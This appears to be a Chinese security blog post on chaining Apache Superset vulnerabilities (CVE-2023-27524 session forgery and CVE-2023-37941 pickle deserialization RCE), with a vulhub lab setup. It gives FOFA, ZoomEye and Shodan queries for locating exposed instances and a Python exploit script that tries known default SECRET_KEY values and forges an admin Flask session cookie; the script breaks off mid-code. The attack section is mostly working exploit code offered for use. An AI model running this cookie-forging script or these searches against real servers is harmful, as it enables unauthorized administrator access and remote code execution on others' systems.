Apache Superset 漏洞组合利用拿权限

2025-04-08 20 0

Apache Superset 漏洞组合利用拿权限插图

Apache Superset介绍:

Apache Superset是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。

漏洞概述:

Apache Superset 1.5至2.1.0版本中存在一个Python Pickle反序列化漏洞(CVE-2023-37941)。该应用程序使用Python的pickle包来在元数据数据库中存储特定的配置数据。具有元数据数据库写入权限的已认证用户可以插入恶意的Pickle有效载荷,当应用程序反序列化这些数据时,会导致Superset服务器上的远程代码执行。

漏洞版本:

apache-superset < 2.1.1

Fofa等:

FOFA:"Apache Superset" ZoomEye:title:"Superset" Shodan:title:"Superset"

搭建环境:

使用docker容器进行搭建,镜像文件使用vulhub的docker-compose.yml,文件如下:

services: web: image: vulhub/superset:2.0.1 ports: - 8088:8088

执行以下命令启动Apache Superset 2.0.1服务器:

docker-compose up -d

Apache Superset 漏洞组合利用拿权限插图1

服务启动后,可以通过http://your-ip:8088访问 Superset。默认登录凭据为admin/vulhub。

Apache Superset 漏洞组合利用拿权限插图2

漏洞复现:

利用漏洞CVE-2023-27524 拿到登录会话登录,用账户密码登录不能复现。

CVE-2023-27524.py

from flask_unsign import session import requests import urllib3 import argparse import re from time import sleep urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) SECRET_KEYS = [ b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 b'thisISaSECRET_1234', # deployment template b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation b'TEST_NON_DEV_SECRET' # docker compose ] def main(): parser = argparse.ArgumentParser() parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True) parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1') parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true') parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5) args = parser.parse_args() try: u = args.url.rstrip('/') + '/login/' headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0' } resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) if resp.status_code != 200: print(f'Error retrieving login page at {u}, status code: {resp.status_code}') return session_cookie = None for c in resp.cookies: if c.name == 'session': session_cookie = c.value break if not session_cookie: print('Error: No session cookie found') return print(f'Got session cookie: {session_cookie}') try: decoded = session.decode(session_cookie) print(f'Decoded session cookie: {decoded}') except: print('Error: Not a Flask session cookie') return match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text) if match: version = match.group(1) else: version = 'Unknown' print(f'Superset Version: {version}') for i, k in enumerate(SECRET_KEYS): cracked = session.verify(session_cookie, k) if cracked: break if not cracked: print('Failed to crack session cookie') return print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}') try: user_id = int(args.id) except: user_id = args.id forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k) print(f'Forged session cookie for user {user_id}: {forged_cookie}') if args.validate: validated = False try: headers[

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

emlog pro-2.5.7-2.5.8 存在SQL注入漏洞
JAVA安全学习——SQL注入审计
使用 Proxychains 和 Tor 匿名化你的流量
渗透测试工具 | 信息泄露挖掘——利器HAE
【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS
ShellCode加载器 | 基于Go语言的shellcode加载器常见实现方式详解

发布评论